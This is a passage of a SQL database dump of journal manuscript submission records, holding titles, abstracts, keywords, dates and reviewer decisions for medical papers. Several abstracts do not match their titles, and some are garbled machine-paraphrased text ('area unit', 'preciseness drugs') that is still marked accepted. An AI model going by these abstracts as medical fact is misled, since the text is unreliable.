FOR CANCER TREATMENT',NULL,5,0,'','Personalized medicine is individual medical care that is based on one\'s own genes and disease conditions. That comes from studies of human genes and the genes in different cancers. Cancer is one of the dangerous leading diseases. In 2020 alone, India will have 1.32 million new cancer cases which will lead to 3 patients per minute. Number of cancer deaths 851678 were reported during 2020 in India alone. Recently, Personalized medicine has mainly involved the systemic use of genetic or other data about individual patients to enhance that patients\' prophylactic and therapeutic care. Information about a patient’s proteinaceous genetic, and metabolic profile could be used to make personalized medical care. This spot of recent advances in treatment that have resulted in improved patient outcomes progresses is still poor for many patients with certain cancer with a high death rate associated with late diagnosis. where molecular assays that help to measure the level of protein and genes or specific mutation are used to provide a specific therapy for an individual condition by satisfying disease condition and helps in choosing a proper drug therapy to that patient’s specific needs additionally this method used to estimate a patient risk factor and. In this review we discussed, Recent advances, challenges and future perspective of personalized medicine in cancer.','Personalized medicine, Cancer, advanced treatment,etc.',5407,NULL,'2022-09-01',NULL,'Submitted',2,NULL,'2022-09-03',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13023,13220,85,0,'iphspr-22-13023','Ayurvedic health care delivery to Meet Society’s Needs',NULL,5,0,'','Health care delivery systems are inherently complicated because they are made up of numerous tiers of interconnected subsystems and processes that respond nonlinearly to environmental changes. When used on complex health systems, traditional approaches for assessing and modelling health technology sometimes overlook the broader health system consequences that can be crucial for accomplishing desired health system goals.Researchers and decision-makers in the healthcare industry may either undervalue or neglect to take into account the interconnections between people, procedures, technology, and facility designs. Interventions in the healthcare delivery system must take into account the dynamism and complexity of the environment in which they are being given.','Decision Making, Dynamic Simulation Modeling, Health Care Delivery',3282,NULL,'2022-09-02',NULL,'Submitted',2,NULL,'2022-09-14',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13024,13221,85,0,'iphspr-22-13024','Global Health education in United State',NULL,5,0,'','With notable success, U.S. global health funding has prioritised the identification, treatment, and elimination of infectious diseases like tuberculosis, malaria, and acquired immunodeficiency syndrome caused by the human immunodeficiency virus. Even if efforts to offer ongoing therapy for chronic infectious diseases should be continued and increased, noncommunicable diseases, which account for the majority of diseases worldwide, must be addressed. 14 recommendations given by a committee of the National Academies of Sciences, Engineering, and Medicine call for continuous commitments to the eradication of infectious disease and increased focus on chronic illnesses including cardiovascular disease. These include increasing the effectiveness of early detection and treatment, reducing disease risk factors, changing the global health infrastructure to incorporate management of cardiovascular disease, forging international partners, and establishing private-public partnerships to Streamlining medical product creation and supply, boosting research and development capacity, and filling leadership shortages in global political and institutional structures are some examples of private-public initiatives to address infrastructure and financial difficulties.','Health care Delivery; Health care Management; Health care reform',3282,NULL,'2022-09-02',NULL,'Submitted',2,NULL,'2022-09-14',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13025,13222,85,0,'iphspr-22-13025','New Approaches and new challenges in Oral Health for Peoples',NULL,5,0,'','In accordance with prescribing-information recommendations, paliperidone palmitate was changed from a monthly dose to a three-monthly dose in the treatment of veterans with schizophrenia. This study describes and compares treatment patterns, resource usage, and expenditures before and after the transition. Utilizing information from the Veterans Health Administration\'s electronic health records, this retrospective, longitudinal study (VHA). Veterans were included if they were 18 years of age or older, had received one prescription for PP3M, had been enrolled in VHA benefits for 24 months prior to switching to PP3M, had been diagnosed with schizophrenia once, and had been switched to PP3M in accordance with prescribing-information guidelines. operationalized as no 45-day break in PP1M treatment over the four months before PP3M.','Big Data, public health, cloud computing, medical applications',3282,NULL,'2022-09-02',NULL,'Submitted',2,NULL,'2022-09-14',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13026,13146,85,0,'iphspr-22-13026','Research on Pregnant Women’s In Health Disparities',NULL,5,0,'','Ideal, and there are still mortality and CRC screening discrepancies, particularly among patients of colour. Health systems are well-positioned to address this significant population health issue because the majority of CRC screening takes performed in primary care. The majority of health systems, however, have not made a concerted effort to find and put into place efficient evidence-based intervention techniques that can increase CRC screening rates and decrease disparities. Our project team used a learning community strategy to assist two health systems in southeast Pennsylvania in identifying evidence-based CRC screening interventions for primary care patients, drawing on the Collective Impact Model and the Interactive Systems Framework for Dissemination and Implementation.','Health systems financing; Health systems financing; Health systems financing; Human health rights',3282,NULL,'2022-09-02',NULL,'Submitted',2,NULL,'2022-09-14',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13027,13224,326,0,'IPJUS-22-13027','Arthroscopy: Knee replacement and Types',NULL,5,0,'','In many areas, nonessential orthopaedic procedures that were postponed due to COVID-19 have resumed. For information:  Questions and Answers for Patients Regarding Elective Surgery and COVID-19. For patients whose procedures have not yet been rescheduled:  What to Do If Your Orthopaedic Surgery Is Postponed.','Arthroscopy Knee',2505,NULL,'2022-09-03',NULL,'Submitted',2,NULL,'2022-09-08',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13028,13225,959,0,'ipacr-22-13028','Clinical benefits of perfection drug in treating solid cancers European Society of Medical Oncology- Magnitude of Clinical Benefit Scale score- grounded analysis',NULL,5,0,'','Precision and matched cancer drugs have the potential to enhance the prevailing biomarker approaches in cancer treatment. However, despite their promising potential, bound negative results have highlighted their limitations in molecular biology-driven treatment ways. This study aimed to gauge the clinical edges of preciseness therapies. Cancer treatment has been fully revolutionized within the past few decades, as many molecular alterations are known as drivers of cancer development and progression.1 Increasing advancements in genetic science have given rise to a growing interest in preciseness drugs, that aims to boost treatment ways by distinguishing therapies which will have an effect on specific targets supported their molecular make-up. moreover, personalised ways have LED to the next proportion of responding patients, longer progression-free survival (PFS), and improved overall survival (OS) compared with trials with unselected  patients to the present finish, many basket trials listed participants supported the kind of mutation, notwithstanding the microscopic anatomy or affected organs,4 whereas umbrella trials listed participants with a similar variety of cancer microscopic anatomy or organ involvement and appointed them to completely different cohorts supported specific mutations.','Cancer Migrants; Communication; Clinical Trials; Oncology research; Oncology Research; Cancer Research',5399,NULL,'2022-09-03',NULL,'Submitted',2,NULL,'2022-09-12',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13029,13226,326,0,'IPJUS-22-13029','Gallbladder Surgery and Laparoscopic cholecystectomy',NULL,5,0,'','A cholecystectomy (koh-luh-sis-TEK-tuh-me) is a surgical procedure to remove your gallbladder — a pear-shaped organ that sits just below your liver on the upper right side of your abdomen. Your gallbladder collects and stores bile - a digestive fluid produced in your liver.\r\nA cholecystectomy is a common surgery, and it carries only a small risk of complications. In most cases, you can go home the same day of your cholecystectomy.\r\nA cholecystectomy is most commonly performed by inserting a tiny video camera and special surgical tools through four small incisions to see inside your abdomen and remove the gallbladder. Doctors call this a laparoscopic cholecystectomy.\r\nIn some cases, one large incision may be used to remove the gallbladder. This is called an open cholecystectomy.\r\n','Gallbladder Surgery ',2505,NULL,'2022-09-03',NULL,'Submitted',2,NULL,'2022-09-08',NULL,1,1,'0','The current manuscript sounds as a script for a web site rather than a scientific journal. If authors wants to discuss and revise such surgical procedure they need to compile a background section, citing proper relevant literature. Then describing the surgical procedure, most likely supported by diagram or original images. Then elaborate and discuss complications and current limitations in addition to advantages and medical applications. The manuscript in this form cannot be consider for publication in an open access scientific journal.',0,'','',NULL,0,0,0,NULL,0),(13030,13227,959,0,'ipacr-22-13030','Recent advances within the chemical science sensing of carcinoma biomarkers',NULL,5,0,'','In the current situation, regarding twenty fifth of all cancer deaths rumored globally area unit associated with carcinoma. Despite the event of various identification techniques, together with X-ray, resonance imaging, biopsy, etc., there\'s still a major challenge in handling carcinoma mortality and morbidity. Therefore, the first identification and treatment of carcinoma is important and holds a substantial place in carcinoma analysis. Biomarkers, associate degree indicator, area unit overexpressed within the malignant tissues and area unit found within the body fluids. The existence of those biomolecules on the far side the cut-off level may be used as associate degree indicator for sensing neoplasm markers within the identification, prognosis, and clinical management of carcinoma. Hence, quick and precise detection of biomarkers is useful within the early detection of cancer. Moreover, the oxidoreduction materials used for sensing biomarkers play a vital role within the sensitivity of electro analytical devices. ','Thoracic surgery morbidity; Lung cancer; Lung cancer screening; Veteran Early detection of cancer',5400,NULL,'2022-09-03',NULL,'Submitted',2,NULL,'2022-09-12',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13031,13228,326,0,'IPJUS-22-13031','Hysterectomy Surgery: Types of Hysterectomy',NULL,5,0,'','Hysterectomy is the surgical removal of the uterus. It may also involve removal of the cervix, ovaries (oophorectomy), Fallopian tubes (salpingectomy), and other surrounding structures.Usually performed by a gynecologist, a hysterectomy may be total (removing the body, fundus, and cervix of the uterus; often called \"complete\") or partial (removal of the uterine body while leaving the cervix intact; also called \"supracervical\"). Removal of the uterus renders the patient unable to bear children (as does removal of ovaries and fallopian tubes) and has surgical risks as well as long-term effects, so the surgery is normally recommended only when other treatment options are not available or have failed. It is the second most commonly performed gynecological surgical procedure, after cesarean section, in the United States. Nearly 68 percent were performed for conditions such as endometriosis, irregular bleeding, and uterine fibroids. It is expected that the frequency of hysterectomies for non-malignant indications will continue to fall given the development of alternative treatment options. Although there are conservative alternatives, hysterectomy is performed for uterine fibroids, pelvic pain (including endometriosis, adenomyosis), pelvic relaxation (or prolapse), heavy or abnormal menstrual bleeding, and cancer. ','Hysterectomy Surgery',2505,NULL,'2022-09-03',NULL,'Submitted',2,NULL,'2022-09-09',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13032,13229,251,0,'ipacm-22-13032','Candidiasis: Oral candidiasis and Diagnosis, Treatment',NULL,5,0,'','Oral candidiasis, also known as oral thrush among other names, is candidiasis that occurs in the mouth. That is, oral candidiasis is a mycosis (yeast/fungal infection) of Candida species on the mucous membranes of the mouth. Candida albicans is the most commonly implicated organism in this condition. C. albicans is carried in the mouths of about 50% of the world\'s population as a normal component of the oral microbiota. This candidal carriage state is not considered a disease, but when Candida species become pathogenic and invade host tissues, oral candidiasis can occur. This change usually constitutes an opportunistic infection by normally harmless micro-organisms because of local (i.e., mucosal) or systemic factors altering host immunity.','Oral Candidiasis; Disease; Medication; Xerostomia',778,NULL,'2022-09-03',NULL,'Submitted',2,NULL,'2022-09-24',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13033,13230,959,0,'ipacr-22-13033','Cardiovascular ramifications of therapy-induced epithelial tissue cell senescence in cancer survivors',NULL,5,0,'','Cancer survivorship has remarkably improved over the past decades; all the same, cancer survivors are burdened with multiple health complications primarily caused by their cancer medical care. Therapy-induced senescence is recognized as a basic mechanism contributory to adverse health complications in cancer survivors. during this mini-review, we\'ll discuss the recent literature describing the mechanisms of cancer therapy-induced senescence. We’ll target epithelial tissue cell senescence since it\'s been shown to be a key player in various vessel complications. We’ll additionally discuss novel senotherapeutic approaches that have the potential to combat therapy-induced epithelial tissue cell senescence.','Cancer therapy; endothelial cells; Senescence Cancer; medical aid; Anthracyclines; Radiation Cardio-oncology',5400,NULL,'2022-09-03',NULL,'Submitted',2,NULL,'2022-09-12',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13034,13231,251,0,'ipacm-22-13034','Pathogenic Bacteria and Medical Treatment',NULL,5,0,'','Pathogenic bacteria are bacteria that can cause disease.[1] This article focuses on the bacteria that are pathogenic to humans. Most species of bacteria are harmless and are often beneficial but others can cause infectious diseases. The number of these pathogenic species in humans is estimated to be fewer than a hundred. By contrast, several thousand species are part of the gut flora present in the digestive tract.\r\nThe body is continually exposed to many species of bacteria, including beneficial commensals, which grow on the skin and mucous membranes, and saprophytes, which grow mainly in the soil and in decaying matter. The blood and tissue fluids contain nutrients sufficient to sustain the growth of many bacteria. The body has defence mechanisms that enable it to resist microbial invasion of its tissues and give it a natural immunity or innate resistance against many microorganisms.\r\n','Pathogenic Bacteria ',780,NULL,'2022-09-03',NULL,'Submitted',2,NULL,'2022-09-08',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13035,13232,996,0,'ipar-22-13035','Polymyalgia Rheumatic: symptoms, Diagnosis and Treatment',NULL,5,0,'','Polymyalgia rheumatica (PMR) is a syndrome with pain or stiffness, usually in the neck, shoulders, upper arms, and hips, but which may occur all over the body. The pain can be very sudden, or can occur gradually over a period. Most people with PMR wake up in the morning with pain in their muscles; however, cases have occurred in which the person has developed the pain during the evenings or has pain and stiffness all day long. People who have polymyalgia rheumatica may also have temporal arteritis (giant cell arteritis), an inflammation of blood vessels in the face which can cause blindness if not treated quickly. The pain and stiffness can result in a lowered quality of life, and can lead to depression. It is thought to be brought on by a viral or bacterial illness or trauma of some kind, but genetics play a role as well.[4] Persons of Northern European descent are at greater risk. There is no definitive laboratory test, but C-reactive protein (CRP) and erythrocyte sedimentation rate (ESR) can be useful. PMR is usually treated with corticosteroids taken by mouth. Most people need to continue the corticosteroid treatment for two to three years. PMR sometimes goes away on its own in a year or two, but medications and self-care measures can improve the rate of recovery.','Polymyalgia Rheumatic',3649,NULL,'2022-09-03',NULL,'Submitted',2,NULL,'2023-02-07',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13036,13234,85,0,'iphspr-22-13036','Bridging the gap between policy for infectious diseases and otologic public health policies',NULL,5,0,'','There is a well-known knowledge-practice gap in public health. It has also been underlined how crucial it is to build effective health promotion strategies using a variety of sources of evidence. The effectiveness of health promotion initiatives is, however, constrained since in reality, intervention decisions are frequently focused on anticipated short-term possibilities rather than the most efficient methods. This article focuses on the enablers and impediments to the use of evidence in designing physical activity policies that improve health. 86 significant stakeholders from six EU nations were interviewed using a similar topic guide to gather data. A map of facilitators and barriers was created using content analysis and concept mapping. We analyse the policy context in each nation as well as the barriers and facilitators that the majority of stakeholders encounter.',' Health systems financing; Human health right; Health care',3282,NULL,'2022-09-03',NULL,'Submitted',2,NULL,'2022-09-14',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13037,12146,277,0,'ipadm-22-13037','GLOMERULONEFRITIS: UNA APROXIMACIÓN A LAS GUÍAS KDIGO 2021',NULL,15,0,'','Las enfermedades glomerulares se pueden establecer como la tercera causa de ERC, después de la Hipertensión Arterial (HTA) y la Diabetes Mellitus (DM). Se definen como la afeccion inmunológica que genera una inflamación a nivel glomerular. Su clasificación varia dependiendo del daño que se genere en los componentes del glomérulo. Se presenta una revisión de las diferentes glomerulonefritis con una aproximación a su diagnostico y tratamiento basados en las guías KDIGO 2021.','Glomerulonefritis, KDIGO, Nefritis Lúpica, Glomerulonefritis focal y segmentaria, Glomerulonefritis membranoproliferativa.',2707,NULL,'2022-09-05',NULL,'Submitted',2,NULL,'2022-09-27',NULL,1,1,'0','Accept without Changes',0,NULL,NULL,NULL,0,0,0,NULL,0),(13038,13235,975,0,'ipjbs-22-13038','Tissue Engineering Collagen-Based Implants for Corneal Regeneration',NULL,19,0,'','Comprising the refractive component of the eye, the cornea is a fundamental component of the human visual apparatus. The vitality of the structure is recognized in instances where it is functionally impaired, most commonly due to ulceration-induced scarring, infection, traumatic events, as well as autoimmune disorders. Consequently, such pathologies result in blindness. With the current global incidence of corneal blindness affecting over 10 million individuals, further research and development in this area of healthcare is crucial. Current approaches addressing corneal blindness include transplantation with cadaveric donor corneas, or, more recently, inserting the ologenTM Biocornea as a temporary patch over a corneal injury until a donor cornea is made available. Several attempts have been made to produce a viable synthetic cornea using collagen-based biomaterials, a few of which will be discussed in this review. ','',3677,NULL,'2022-09-05',NULL,'Submitted',2,NULL,'2022-09-19',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13040,13237,45,0,'iphsj-22-13040','Iron Ferritin,TIBC and Reticulocyte count in cases of Haemolytic anaemia',NULL,14,0,' ','Hemolytic anemia in which red blood cells are destroyed faster than they are made, this process of destruction is called as hemolysis. This leed to increase in iron and bilirubin content in serum as well as increase in reticulocyte count. It has been found that administration of iron in haemolytic cases is contradictory compared to Iron deficiency anaemia .So in order to prove this, a study has been designed with haemolytic cases which are given iron supplements it has been found that there is increase in reticulocyte count as well as ferritin  rather than decrease post treatment. Therefore it can be said that iron supplementation in cases of haemolytic anaemia is of no use.','Hemolytic anemia, Iron , TIBC, Ferritin, Reticulocyte count',4076,NULL,'2022-09-06',NULL,'Submitted',2,NULL,'2022-10-17',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13041,13238,667,0,'iptb-22-13041','The art of successful translation Arabidopsis Seed Germination',NULL,5,0,'','I\'m happy to share the first papers in our recently launched journal, Translational Proteomics, as we welcome in the New Year. Elsevier\'s strong backing and the passionate involvement of the Journal\'s Associate Editors and Editorial Board members have made this possible. Proteomics researchers and clinicians in academia and industry have grown increasingly frustrated with the challenges of translating fundamental proteomics discoveries to therapeutic applications over the years. The lack of communication between fundamental scientists and physicians who received their training using conceptions that are at odds with one another is one of the causes of this barrier. The latter demand quick actions on patients rather than total certainty, whilst the former desire to control and comprehend all aspects. ','Translational Proteomics, biological research cardiovascular disorders',3933,NULL,'2022-09-06',NULL,'Submitted',2,NULL,'2022-09-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13042,13239,667,0,'iptb-22-13042','Research in biotechnology Advances in new Developing DNA conjugation diagnostics',NULL,5,0,'','There are many different topics covered in biotechnology research. Major themes of biotechnology research are outlined in the scopes of the journals Current Research in Biotechnology and Current Opinion in Biotechnology. These themes include genetic and molecular engineering, tissue, cell, and pathway engineering, plant and animal biotechnology, food biotechnology, energy biotechnology, environmental biotechnology, analytical biotechnology, systems biology nanobiotechnology, chemical biotechnology, and pharmaceutical and medicinal biotechnology. Karl Erkey, a Hungarian agricultural economist and engineer, is credited with coining the word \"biotechnology\" exactly 100 years ago. When translated into English, Karl Erkey\'s definition of biotechnology is all the fields of endeavour that use living organisms to make goods from raw materials. An intergovernmental economic organisation having 36 member nations is the Organization for Economic Co-operation and Development. the use of cellular and molecular processes to address issues or create products; modern biotechnology refers to the application of scientific and engineering principles to the processing of materials by biological agents to produce goods and services. Beginning in the middle of the 1980s, the term \"biotechnology\" became widely used in research papers\' titles. ','Nano biotechnology,bio plastics and biofuels',3933,NULL,'2022-09-06',NULL,'Submitted',2,NULL,'2022-09-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13043,13240,667,0,'iptb-22-13043','Research On anti-cancer therapies ',NULL,5,0,'','Despite immune checkpoint blockade\'s unnoticed effectiveness in providing certain non-small-cell lung cancer NSCLC patients with long-lasting responses, the majority of patients do not react. There is a correlation between PD-L1 tumour expression and pre-existing cancer T-cell infiltration and better clinical results from anti-PD-1/anti-PD-L1. Patients with tumours that do not express PD-L1 can still benefit from treatment, nevertheless. To increase the response rates to PD-1/PD-L1 antibody blocking, approaches to combine immune checkpoint inhibitors with additional therapeutic modalities, such as radiation, are being researched. RT causes immunogenic alterations in cancer cells, has the ability to adaptively upregulate PD-L1 expression in tumour cells, and can boost the effectiveness of anti-PD-1/anti-PD-L1 therapy. Future clinical trial designs for NSCLC will also be influenced by the logistics of administering these therapy combinations. By preserving a dynamic balance of T-cell generated immune responses against self-tolerance and protection of host tissues, immunological checkpoints maintain T-cell homeostasis. Reduced immunogenicity and uncontrolled tumour growth are caused by overexpression of inhibitory checkpoint molecules during the evolution of tumours. PD-L1 positive tumours in clinical and preclinical NSCLC trials that did not respond to anti-PD-1/anti-PD-L1 The effectiveness of RT combined with immunotherapy may eventually be significantly impacted by important practical issues. ',' cancer cells; umour cells',3933,NULL,'2022-09-06',NULL,'Submitted',2,NULL,'2022-09-17',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13044,13241,667,0,'iptb-22-13044','Advances in clinical translational and translational Research in Neurosciences',NULL,5,0,'','People who have a history of exposure to early life stressors such abuse, domestic violence, and parent psychopathology are more likely to use drugs and become addicted to them. ELS-exposed children are frequently underserved by evidence-based programmes, which is unfortunate because current interventions have mixed efficacy at improving outcome trajectories for these children. Here, we use a translational neuroscience paradigm to outline how neuroscience might improve our comprehension of changes in children\'s function associated with ELS and guide the creation of more focused, successful early intervention and addiction prevention programmes. Across the areas of sensory, emotional, motivational, and executive function, potential neural pathways affected by ELS and connected to addiction are described. Then, we give an example of how translational neuroscience ideas were used to a group of early interventions. ','Discovery Biology; Medical Biotechnology; Translational Psychiatry',3933,NULL,'2022-09-06',NULL,'Submitted',2,NULL,'2022-09-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13045,13242,667,0,'iptb-22-13045','Orthopaedic research in United states during the COVID-19 era',NULL,5,0,'','The quick and broad use of telemedicine across disciplines, including orthopaedics, was prompted by the coronavirus pandemic. In a short amount of time, newly approved telehealth practises have gone from being an experiment to the standard as a result of a series of circumstances, starting with payers, moving on to providers adoption, and then reciprocated by patients. The COVID-19 era is not the end of telemedicine, according to orthopaedic surgeons, but there are still a lot of long-term adjustments that payers, providers, and patients need to make if tele health is to continue. The purpose of this study is to describe the chain of events that led to the widespread adoption of telemedicine in orthopaedic clinics around the world, to show how irreversible its adoption is, and to spark discussion about next measures that may be taken to maintain its advantages.','Translational Stroke; Discovery Biology; Molecular Therapy',4686,NULL,'2022-09-06',NULL,'Submitted',2,NULL,'2022-09-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13046,13243,85,0,'iphspr-22-13046','Difference-in-Difference Approach in Estimating the OOPE for Non-pandemic Diseases During Pandemic Period',NULL,5,0,'','Difference-in-Difference Approach in Estimating the OOPE for Non-pandemic Diseases During Pandemic Period 1 & 2\r\nBACKGROUND: Despite its branding as the “world’s pharmacy”, India’s population has limited access to medications with households paying over 65% of total health spending on out-of-pocket expenditure, with two-thirds of that on drugs. As per World Health Organisation (WHO) research, household OOP spends on health services, particularly medications continue to force over 55 million Indians into poverty, with over 18% of households facing catastrophic levels of health expenditures annually. In UDCs, the OOPE on healthcare is substantial compared to household income due to the lack of a social science system, low income levels and insurance coverage, growing longevity and non-communicable diseases. The WHO has also recognized the issue and urged government to guarantee the basic healthcare services were available during pandemic (42).  Despite global guidance to maintain essential non-COVID health services, the number of people receiving healthcare for a variety of reasons, including maternal and neonatal care, child illnesses, communicable diseases, NCDs and injuries and emergencies requiring critical care has decreased. Hence during the time of pandemic there was disturbance for accessing and utilizing the healthcare activities for the people those who have been suffering from chronic diseases.  This may cause to decrease in healthcare expenditure of the individual health seekers.\r\nMETHODS & MATERIALS: The study looked on the healthcare utilization pattern and study participants who had atleast one chronic illness.  As a result, the overall sample size interms of healthcare consumption was 2169 (1813 – non-pandemic chronic diseases and 356 – non-pandemic acute diseases) by using mailing (online data collection) on system of medicine, kind of hospital, type of services, type of government hospital, medical insurances available were also investigated during January to May 2022.  The research participants OOPE for chronic morbidity in 30 days before to data collection were gathered. To study the above said issues simple statistical and econometric tools have applied along with regression analysis inorder to study the determinants of OOPE for chronic diseases. The percentage distribution, mean and standard deviation were calculated and presented in the name of descriptive statistics. The various socio-economic indicators also extracted from the respondents to find out the determinants of OOPE of the respondents.  \r\nRESULTS & CONCLUSION: Despite the fact that the study revealed a significant association between OOP expenses and various economic situations associated with pandemics. These findings might be a useful source of information for respondents\' disease-specific out-of-pocket expenses. As a result, governmental initiatives should focus on low-income households to alleviate economic constraints during illness. As a result, a pro-poor policy initiative, as well as an urban health protection programme, may be necessary to assure healthcare service accessibility and affordability in compliance with various national level healthcare laws.\r\nKeywords: Out-of-pocket expenses, Non-pandemic diseases, Difference-in-Difference (DiD) \r\n                   Approach, Chronic and acute diseases \r\n-----------\r\n1 & 2 – Associate Professor & Assistant Professor, Deaprtment of Economics, Periyar University, Salem 636 302. Tamil Nadu.\r\nranisugirtha@gmail.com & vv_pu@gmail.com \r\n','Keywords: Out-of-pocket expenses, Non-pandemic diseases, Difference-in-Difference (DiD) Approach, Chronic and acute diseases ',471,NULL,'2022-09-07',NULL,'Submitted',2,NULL,'2022-11-01',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13047,13244,959,0,'ipacr-22-13047','A RARE CONGENITAL CONDITION DYSKERATOSIS CONGENITA PRESENTING WITH CARCINOMA HYPOPHARYNX IN A 16 YEAR OLD CHILD',NULL,2,0,'','Dyskeratosis congenita (DC) is an inherited bone marrow failure and cancer predisposition syndrome caused by defects in telomere biology. The most frequent solid tumors were head and neck squamous cell carcinomas followed by skin and anorectal cancer. The pediatric age group often present DC as a multisystem disorder. However, to date there has been no comprehensive quantitative analysis of cancer risk in Dyskeratosis Congenita. Since our patient is a case of malignancy, multimodality management is required which involves Radiation Oncology, Hematology, Medical oncology and Otorhinolaryngology. Proper counselling and multidisciplinary team approach is essential to treat a case of malignancy especially in Dyskeratosis congenita.','Dyskeratosis Congenita, Congenital disorder, Malignancy, Hypopharynx, Otorhinolaryngology, Radiation therapy, Hematology, multidisciplinary approach.',2795,NULL,'2022-09-07',NULL,'Submitted',2,NULL,'2022-11-21',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13048,13246,73,0,'ipjnn-22-13048','KNOWLEDGE, ATTITUDES AND PRACTICES OF NURSES IN TRAINING AND PROFESSIONAL NURSES ON SLEEP APNEES SYNDROME IN KARA IN 2020',NULL,14,0,'','Introduction. Sleep apnea syndrome (SAS) is a condition that is characterized by respiratory abnormalities (hypopneas, apnea) occurring during sleep. In patients with SAS, strokes are more severe. SAS is also responsible for memory impairment and decreased intellectual performance.\r\nObjective: We carried out this study to assess nurses\' practical knowledge and attitudes about SAS.\r\nMethod. This was a descriptive cross-sectional study from 05 to 30 July\r\n2020 involving 90 nurses working in the different departments of the CHU Kara and the CHR Kara who agreed to fill in the self-questionnaire sheet.\r\nResults. A total of 90 out of 105 expected nurses participated in the study. The definition of SAS in adults, and risk factors in adults, were not known in 33.85% and 93.85% respectively. Nocturnal symptoms of SAS and diagnostic examinations were not known in 93.85% and 73.85% respectively. Complications of SAS were known only in 20.00%. The majority (70.77%) of respondents have already observed snoring in patients and 81.54% of them did not report the nocturnal symptoms observed in patients to doctors. The overall level of knowledge about SAS was low (75.38%). Almost all nurses (98.89%) wanted to have training in SAS.\r\nConclusion. The level of knowledge was mostly insufficient. Continuous training of nurses on the SAS is necessary.\r\n\r\n',' knowledge, attitude, sleep apnea syndrome, nurse, Togo',326,NULL,'2022-09-08',NULL,'Submitted',2,NULL,'2022-09-24',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13049,13247,73,0,'ipjnn-22-13049','DIABETIC DISTAL POLYNEUROPATHY IN OUTPATIENT SETTINGS IN TOGO',NULL,14,0,'','Abstract:\\r\\nIntroduction: In sub-Saharan Africa, diabetes is on the rise. The most frequent clinical form of diabetic neuropathy is distal polyneuropathy characterized by its bilateral, synchronous, and distal systematization in the limbs. Data on this clinical form are rare or even non-existent as in Togo.\\r\\nObjectives: To describe the epidemiological, clinical, and electrophysiological profile of diabetic distal polyneuropathy in Togo.\\r\\nSetting and method: A descriptive study with prospective data collection, carried out over a period of 6 months (March 1 to August 31, 2020) included patients seen in neurology and diabetology consultations at the two university hospitals of Lomé during the study period and in whom the diagnosis of diabetic distal polyneuropathy had been retained. The Michigan Neuropathy Screening Instrument (MNSI) was used to establish the diagnosis and neuropathic pain was diagnosed on the basis of the DN4 score.\\r\\nResults: A total of 101 patients met the inclusion criteria. The mean age was 58 ± 10 years, with a sex ratio M/F of 0.84. High blood pressure was the main cardiovascular risk factor (63.4%). Type 2 diabetes was the most common (98%) and 70.3% had unbalanced diabetes. Distal polyneuropathy revealed diabetes in 8.9% of cases. The mean time to onset of distal polyneuropathy symptoms from the date of diabetes diagnosis was 1.8 ± 2.4 years, with extremes of 14 days and 10 years. The pain was the most represented sensitive symptomatology (75.2%). The DN4 score was greater than 4 in 90.8% of patients, and 25% of patients had non-painful sensory symptomatology. No patient had a motor deficit. The monofilament test was abnormal in 74.3% of cases. Electromyographically, 34.5% of the patients had a sensory-motor-dependent chronic axonal form and 65.5% had an axon-myelin form. Group B vitamins (58.4%) and tricyclic antidepressants (26.7%) were the main therapeutic options. The severity of diabetic distal polyneuropathy was correlated with dyslipidemia, glycemic imbalance, diabetic retinopathy, and erectile dysfunction.\\r\\nConclusion: The relatively rapid onset of neurological complications is evidence that proper monitoring of diabetic patients is crucial to preventing the occurrence of diabetic distal polyneuropathy. The therapeutic strategies currently used in the symptomatic treatment indicate that there are real problems with management. \\r\\n','diabetes, distal polyneuropathy, neuropathic pain, paresthesia, electroneuromyogram, Togo, Africa.',326,NULL,'2022-09-08',NULL,'Submitted',2,NULL,'2022-09-26',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13051,13245,959,0,'ipacr-22-13051','A Brief Note on Cancer Prevention and Chemotherapy',NULL,14,2,'Advances in cancer Research','','',5408,NULL,'2022-09-08',NULL,'Submitted',2,NULL,'2022-12-06',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13052,13249,45,0,'iphsj-22-13052','A Comparative Study between Sleeve Suture Technique and Oblique Cut Technique in Arterial Micro-Anastomosis of Size-Mismatched Vessels in A Rat Model',NULL,14,0,'Comparitive study','Background: Microsurgical reconstruction is employed for complex plastic surgery problems when other options don\'t seem to be satisfactory either functional or aesthetic\r\nAim: to evaluate sleeve suture technique and oblique cut technique in end-to-end micro-anastomosis of vessels with size discrepancy in a Rat model regarding patency of the anastomosis and feasibility of the technique Methods: Thirteen Samples were included in this study and randomly assigned to either Group Ι (Sleeve suture technique) or Group ΙΙ (Oblique cut technique). The main assessment parameters were anastomosis patency, time of anastomosis, and the number of suture units. Other parameters included anesthesia consumption, thrombosis rate, and leakage after anastomosis.\r\nResults: Nearly equal patency rates have been found in the two techniques in the animal model, although the invagination technique was faster and technically simpler to perform with less suture unit consumption. The oblique cut technique showed a highly statistically significant increase in the anastomosis time and an increased in sutures number in comparison to the sleeve technique plus the necessity to flip-flop 